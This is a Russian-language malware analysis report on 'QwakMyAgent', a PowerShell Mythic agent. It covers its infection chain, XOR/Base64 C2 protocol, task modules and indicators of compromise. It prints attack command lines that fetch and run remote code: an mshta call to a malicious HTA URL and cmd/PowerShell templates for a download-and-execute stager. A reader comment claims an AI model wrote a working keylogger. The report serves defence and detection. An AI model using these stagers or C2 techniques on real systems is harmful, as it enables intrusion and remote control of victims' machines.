Во второй половине сентября 2024 года специалистами Центра Кибербезопасности компании F.A.C.C.T. была выявлена атака на российскую компанию с использованием ранее необнаруженного Mythic агента, написанного на PowerShell. К исследованию новой атаки подключились также специалисты F.A.C.C.T. Threat Intelligence. Обнаруженный агент был назван экспертами F.A.C.C.T “QwakMyAgent”. Агент получил название по причине того, что в случае получения команды для завершения своей работы, QwakMyAgent отправляет уникальную строку «Qwak!» на C2-сервер.
Цепочка заражения QwakMyAgent
Изначальный вектор заражения обнаружен не был. Известно, что после того, как были скомпрометированы хост-системы администраторов, злоумышленники выполняют подключения к хостам через системную службу WinRM и выполняют доступные по URL-ссылкам HTA-сценарии с помощью системной утилиты mshta.exe. Команды имеют вид mshta.exe {URL}. Пример команды:
mshta.exe hxxps://beltifay[.]com/impugnable/orthodox/nurses/intuitively/annexed.hta
HTA-сценарий в контексте своего исполнения создает два файла desktop.js и user.txt путем выполнения cmd.exe команд. Шаблоны команд:
cmd.exe /c echo (new ActiveXObject("Shell.Application")).ShellExecute("%POWERSHELL_PATH%", "-c $Content= Get-Content $env:USERPROFILE\\user.txt; Invoke-Expression $Content", "", "open", "0") > {user_path}\desktop.js
cmd.exe /c echo $wuri = new-object system.UriBuilder('ab://' + '{url_to_powershell_script}'); $wuri.Scheme = 'https'; Invoke-Expression $(New-Object net.webclient).UploadString($wuri.Uri, '') > {user_path}\user.txt
После записи файлов запускает desktop.js путем выполнения команды cscript.exe {user_path}\desktop.js
. desktop.js - JavaScript-сценарий, который выполняет запуск PowerShell-сценария, расположенного в файле user.txt. user.txt – PowerShell-сценарий, который выполняет загрузку и запуск следующей стадии по URL-ссылке. Загрузка выполняется с помощью POST-запроса, который содержит пустую строку. Ответом от сервера должен являться PowerShell-сценарий, который будет выполнен с помощью команды Invoke-Expression
.
В обнаруженных нами случаях ответом от сервера является либо вредоносное ПО QwakMyAgent, либо дополнительный PowerShell-модуль, выполняющий загрузку и запуск метода Assembly-нагрузки.
QwakMyAgent
QwakMyAgent - PowerShell-сценарий, являющийся ранее необнаруженным непубличным модульным агентом Mythic. В ходе своего исполнения данный сценарий отправляет информацию о зараженной системе, циклично получает и обрабатывает команды от сервера. В данном случае командами являются модули, также написанные на PowerShell, которые будут выполнены в контексте процесса QwakMyAgent.
В процессе своего исполнения, QwakMyAgent выполняет 2 типа POST-запросов к C2-адресу, которые имеют типы действия checkin и get_tasking. Оба запроса имеют один и тот же формат передачи данных, который можно представить в виде шаблона: BASE64(UUID + BXOR($xml_request_data, {xor_byte_request}))
. Получаемые от сервера данные по результатам выполнения обоих запросов будут иметь аналогичный шаблон: BASE64(UUID + BXOR($xml_response_data, {xor_byte_response}))
. Из имени переменных видно, что расшифрованные данные запросов к серверу и ответов от него будут представлены в XML-формате.
Важно отметить, что каждый из типов запроса может иметь несколько C2-адресов. В таком случае, если агент не смог выполнить подключение заданное количество раз, агент начнет выполнять попытки подключения к следующему C2-адресу.
checkin запрос
Имеет тип действия checkin и содержит информацию о зараженной машине:
action - содержит тип запроса (checkin);
ip - внутренний IP-адрес хоста;
os - значение ключа ProductName ветки реестра HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion;
user - имя пользователя;
host - имя компьютера;
domain - доменное имя пользователя;
pid - ID текущего процесса;
uuid - UUID расположенный внутри файла агента;
architecture - архитектура системы.
integrity_level - уровень целостности системы, определяющийся с помощью поиска одного из SID-значений списка S-1-16-0, S-1-16-4096, S-1-16-8192, S-1-16-12288, S-1-16-16384. Значение зависит от порядка найденного SID-значения в списке;
sleep_info - имеет формат
{seconds}:{deviation_percent}
и означает количество секунд с указанным процентом случайного отклонения, определяющее промежуток времени между повторным выполнением запросов к C2-серверу.
После того, как данные были собраны, они будут зашифрованы по шаблону BASE64(UUID + BXOR($xml_response_data, {xor_byte_response}))
и отправлены на C2-адрес. Пример передаваемых данных на C2-адрес:
<?xml version="1.0" encoding="utf-8"?>
<Objects>
<Object Type="System.Management.Automation.PSCustomObject">
<Property Name="domain" Type="System.String">DESKTOP-B0T93D6</Property>
<Property Name="sleep_info" Type="System.String">156:23</Property>
<Property Name="action" Type="System.String">checkin</Property>
<Property Name="architecture" Type="System.String">x64</Property>
<Property Name="ip" Type="System.String">192[.]168[.]2[.]13</Property>
<Property Name="integrity_level" Type="System[.]Int32">3</Property>
<Property Name="os" Type="System.String">Windows 10 Pro</Property>
<Property Name="host" Type="System.String">DESKTOP-B0T93D6</Property>
<Property Name="pid" Type="System[.]Int32">7864</Property>
<Property Name="uuid" Type="System.String">cf043e1c-a425-4bf5-a340-c91766e249f8</Property>
<Property Name="user" Type="System.String">george</Property>
</Object>
</Objects>
Ответом от сервера являются зашифрованные XML-данные, которые содержат свойства action, id и status.
action - тип запроса, на который был отправлен ответ (checkin);
id - обновленный UUID, который будет использоваться агентом в последующих запросах;
status - результат регистрации агента.
Пример расшифрованных данных, полученных от C2-адреса:
<?xml version="1.0" encoding="UTF-8" ?><root><key name="@Type" type="str">System.Management.Automation.PSCustomObject</key><action type="str">checkin</action><id type="str">d553367c-38ed-400d-b0d5-e789ad261d65</id><status type="str">success</status></root>
В случае успешной регистрации, процесс исполнения агента перейдет к цикличному опросу C2-сервера для получения и выполнения команд.
get_tasking запрос
Данный запрос, с типом действия get_tasking, используется для получения и выполнения команд от сервера. Командами являются PowerShell-модули, которые будут выполнены в контексте текущего процесса. Передаваемыми данными на сервер являются два параметра:
action - содержит get_tasking;
tasking_size - содержит 1.
Пример передаваемых данных:
<?xml version="1.0" encoding="utf-8"?>
<Objects>
<Object Type="System.Management.Automation.PSCustomObject">
<Property Name="tasking_size" Type="System[.]Int32">1</Property>
<Property Name="action" Type="System.String">get_tasking</Property>
</Object>
</Objects>
После того, как данные были собраны в XML-формат, они будут зашифрованы и переданы на C2-адрес. В ответ на данный запрос, C2-адрес отправляет зашифрованные данные, представленные в XML-формате, которые содержат следующие поля:
action - тип запроса, на который был отправлен ответ (get_tasking);
-
tasks - список, содержащий объекты команд;
timestamp - временная метка;
command - PowerShell-сценарий;
parameters - параметры команды;
id - UUID команды.
Пример передаваемых данных:
<?xml version="1.0" encoding="UTF-8" ?><root><key name="@Type" type="str">System.Management.Automation.PSCustomObject</key><action type="str">get_tasking</action><tasks type="list"><item type="dict"><timestamp type="int">1726835978</timestamp><command type="str">{powershell_module}</command><parameters type="str"></parameters><id type="str">f305d0e2-5adb-4959-8a29-e40ccc5870f4</id></item></tasks></root>
В случае успешного ответа от сервера, QwakMyAgent запустит полученный модуль от сервера с помощью выполнения команды iex {powershell_module}
. Стоит отметить, что запрос выполняется в цикле, который проверяет значение определенной переменной, содержащейся в теле сценария. Для того, чтобы C2-сервер завершил цикличное выполнение запросов для получения модулей, сервер с помощью отправляемого модуля выставляет переменную в нужное значение, после чего агент завершит свою работу.
Полученные команды
В ходе нашего исследования, мы обнаружили модули, получаемые путем выполнения get_tasking-запросов. Данные модули имели схожий шаблон и содержали функционал для выполнения определенных команд, необходимых злоумышленникам и последующей отправке результата данных запросов на C2-сервер. В результате выполнения команды будет сформирован объект task_response с информацией о выполнении конкретной команды. После чего будет выполнена отправка данного объекта с помощью POST-запроса на C2-адрес, данные которого будут содержать поля:
action - содержит строку, обозначающую тип действия post_response;
responses - содержит объект _task_response_.
Пример передаваемых данных (ответ агента после получения команды на завершение своей работы):
<?xml version="1.0" encoding="utf-8"?>
<Objects>
<Object Type="System.Management.Automation.PSCustomObject">
<Property Name="responses" Type="System.Object[]">
<Property Type="System.Management.Automation.PSCustomObject">
<Property Name="user_output" Type="System.String">Qwak!</Property>
<Property Name="status" Type="System.String">success</Property>
<Property Name="task_id" Type="System.String">f305d0e2-5adb-4959-8a29-e40ccc5870f4</Property>
<Property Name="completed" Type="System.Boolean">True</Property>
</Property>
</Property>
<Property Name="action" Type="System.String">post_response</Property>
</Object>
</Objects>
После этого данные будут зашифрованы и переданы на C2-адрес. Формат данных имеет аналогичный предыдущим запросам шаблон: BASE64(UUID + BXOR($xml_request_data, {xor_byte_request}))
.
Ниже представлена таблица с типами команд и объектами, которые будут отправлены на сервер:
Тип команды |
Описание результата |
Завершение работы агента |
Содержимое объекта task_response: task_id - UUID модуля; user_output - строка "Qwak!"; (в связи с который троян получил свое название) completed - значение 1; status - строка "success". |
Установка нового sleep-значения |
Содержимое объекта task_response: task_id - UUID модуля; user_output - строка по шаблону "Sleep is now {new_sleep} seconds"; completed - значение 1; status - строка "success"; process_response - строка по шаблону "{new_sleep}:{deviation_percent}". |
Выполнение произвольной команды |
Список обнаруженных произвольных команд: qwinsta get-process taskkill /F /PID {PID} Receive-Job -id {ID} Содержимое объекта task_response: task_id - UUID модуля; user_output - содержит результат выполнения команды в PowerShell; completed - значение 1; status - строка "success" или "error" в зависимости от результата выполнения команды. |
Дополнительный PowerShell-модуль
В ходе исследования был найден дополнительный PowerShell-сценарий, который доставлялся на зараженную систему аналогичным способом, которым доставлялся QwakMyAgent. Однако, в отличие от агента, данный сценарий имеет иные функциональные возможности.
Данный PowerShell-сценарий выполняет POST-запрос, аналогичный по типу действия тем запросам, которые выполняют модули команд (action - post_response). Ниже представлен пример данных, которые передаются в запросе:
<?xml version="1.0" encoding="utf-8"?>
<Objects>
<Object Type="System.Collections.Hashtable">
<Property Name="Key" Type="System.String">responses</Property>
<Property Name="Value" Type="System.Object[]">
<Property Type="System.Collections.Hashtable">
<Property Name="Key" Type="System.String">task_id</Property>
<Property Name="Value" Type="System.String">e5d76f45-ebcd-4edd-bd23-9db5f700b68b</Property>
<Property Name="Key" Type="System.String">upload</Property>
<Property Name="Value" Type="System.Collections.Hashtable">
<Property Name="Key" Type="System.String">file_id</Property>
<Property Name="Value" Type="System.String">17c56dc2-7e1d-467b-81e2-b773aa22138d</Property>
<Property Name="Key" Type="System.String">chunk_num</Property>
<Property Name="Value" Type="System[.]Int32">1</Property>
<Property Name="Key" Type="System.String">chunk_size</Property>
<Property Name="Value" Type="System[.]Int32">512000</Property>
</Property>
</Property>
</Property>
<Property Name="Key" Type="System.String">action</Property>
<Property Name="Value" Type="System.String">post_response</Property>
</Object>
</Objects>
В параметре action указано значение запроса post_response. Параметр responses содержит следующие объекты:
task_id - UUID задачи;
-
upload - содержит хеш-таблицу со значениями:
file_id - UUID файла;
chunk_num - 1;
chunk_size - 512000.
Запрос шифруется тем же алгоритмом, что был описан выше, и отправляется POST-запросом на С2-адрес.
В ответ сервер возвращает зашифрованную нагрузку. Сценарий декодирует ответ, переданный в Base64-формате, потом извлекает данные после подстроки #text, еще раз декодирует результат в Base64-формате. Результатом скрипт ожидает .NET сборку с нагрузкой, которую он исполнит, передав ее аргументом методу [System.Reflection.Assembly] ::Load()
. Далее скрипт вызывает метод Run
из сборки SharpRProxy.EntryPoint
, передавая ему URL-значение hxxp://45[.]151[.]62[.]192. Нам не удалось обнаружить .NET сборку, содержащую класс SharpRProxy
, но исходя из названия, мы предполагаем, что данный модуль выполнит Reverse-Proxy соединение с адресом, указанным выше.
В связи с тем, что тип запроса к C2-серверу, выполняемый сценарием, соответствует тем, которые выполняются в модулях команд QwakMyAgent, мы полагаем, что данный сценарий может являться интерпретацией одной из команд, получаемых от сервера.
Индикаторы компрометации
Файлы
Filename: malty.hta
MD5: c27a147e68e0fe434445d463b1e4edb2
SHA1: da59bdbb06c5dd05447c5d9e08d8e6e0eabe1d47
SHA256: 7f18301c4a994d1cb2f6c86036c2d3f68bd8966135ad60e2fd813c6dda0d1c94
Filename: desktop.js
MD5: e4ba295b48fc4fa31fc047baab38a7a8
SHA1: 0f94bc6a11c18db2bf73603b7d29fdd82a58bd63
SHA256: 7e864c0aaef94530306f5c4906cd545b0556f571caf80d6d662bd6ae4d1e31d2
Filename: user.txt
MD5: 12080a2e9d572410b00acd44f9a80dd9
SHA1: 5739ab43c3820aeb33df28c899528a609110e6f5
SHA256: 74096244af2e145f7f24f21aa1baacc08b3cdf46129770f439b6b139a27083ad
Filename: -
MD5: 151b3d5b02de9e082cd08bb1a9331ba0
SHA1: d1689176f29ba721a347e0b582a53a5fa4eb6a10
SHA256: bd1f595deb4354e2bae65628fa17086234d2ce7c474d100ac2146f915fd832b5
Filename: annexed.hta
MD5: 34caa54373d7e830ed9e85d16eb9647b
SHA1: 15e602f3b4973f7ce7f9ba803df0071a9b106af1
SHA256: 89bbb1b64f9fc9b8df715ee470a17b00b61d7643fc8ebefd5b8fb519e6b9f385
Filename: desktop.js
MD5: 82d69836a8449a5be5d81c5791902f5c
SHA1: de67e2f0c4f0ef841727c468ddab816f82d38050
SHA256: 5b73be0f4baab6270d9ece9fee83b471f32743ccb5a54c4e9c128bd5f605d16c
Filename: user.txt
MD5: 5714e8864c3465c2a0fa33c5ec41fcf2
SHA1: 86915317c828dd1676ffd8bfcca1f976dc96b7f8
SHA256: 41b843176eb50e9a53e5d3532d67a809817dee23d199b90a2c92282a7859c910
Filename: desktop.lnk.vbs
MD5: 433617018bf576cb0a8acc3005948f96
SHA1: b6ea86a83078829ab242b2c1a2e9152096e6d2d7
SHA256: 8d07c463824aae371302cab78ae7964fc1999fd83ab76e4223d7d86b859467b3
Filename: -
MD5: 0a0f04ebf9b77b0077de9a834764e1b7
SHA1: db14125b40cf1fbfd31ee0777740b7d971e45c88
SHA256: 8e4e36913b6a4e4552607c2ba9010ba541ebb31c603e659cc65a5ec0ad60997b
Filename: -
MD5: ea09e9ca0fe14d19518e751e3f1e13e8
SHA1: 0558204c6ae8f4a869f74492cc1e322d27212e78
SHA256: f2112300f9c6a2dd60dee012865340e592189115edc71477f8447aeafd4da2ca
Filename: -
MD5: f1a6dedf5de0b4a50c7d7cbc05edd5b6
SHA1: 44ce4d9f24efb0b8c53cd25c8d4879a116113014
SHA256: 045bfc5202ea042aa1501caf5fccb3516a73d88e6c641897552feb5ac2412755
Filename: -
MD5: 2f34ed8bea8acb3bc52a1a7a2bd901f5
SHA1: 1d1b9607f7bfc636ab7087b23c83ddd5eb0aea33
SHA256: f6ca0dabe6e57d9db799d84c75142dd4ef02b58af9e9bfb98a7ece4b9169b550
Filename: -
MD5: c5e56d35c7e25814cc172b061624c9fc
SHA1: e3aede7fcb56ec2fddeffb1498bc270f165c0426
SHA256: 1978e95fdfa64f1c34af44f28b8b1fb591b915e3cb9867fbcad4e6ba051dcb62
Сетевые индикаторы
hxxps://beltifay[.]com
hxxps://andyty[.]com
hxxps://warnsatellite[.]com
hxxp://appearahead[.]com
hxxp://45.151.62[.]192
hxxp://guardianyz[.]com/compactions/linesmen/dilapidated/expecting/hallucinated
hxxps://beltifay[.]com/inhibiting/cries/aerobe/merchantman/cheeseburgers
hxxps://warnsatellite[.]com/jennets/brasilia/commented/ironworks/crumple
hxxps://warnsatellite[.]com/embankment/condiments/lover/criteria/malty.hta
hxxps://andyty[.]com/drifts/blubbered/glaciations/enticingly/porcupines.hta
hxxps://beltifay[.]com/impugnable/orthodox/nurses/intuitively/annexed.hta
Комментарии (2)
0o0
03.10.2024 11:13Тот неловкий момент когда на компах/серверах прямой интернет и любой вирус спокойно общается со своим сервером...
ну. так настроили.
MountainGoat
Мне Claude в 3 запроса написал работающий кейлоггер на Powershell. ESET его сразу обматерил, а вот Defender ни слова не сказал. (Но на тестовой машине отключено ограничение PS на запуск скриптов).
Так что надо больше следить за скриптами. Скоро малварь уже на Brainfuckе делать начнут, спасибо ГПТ.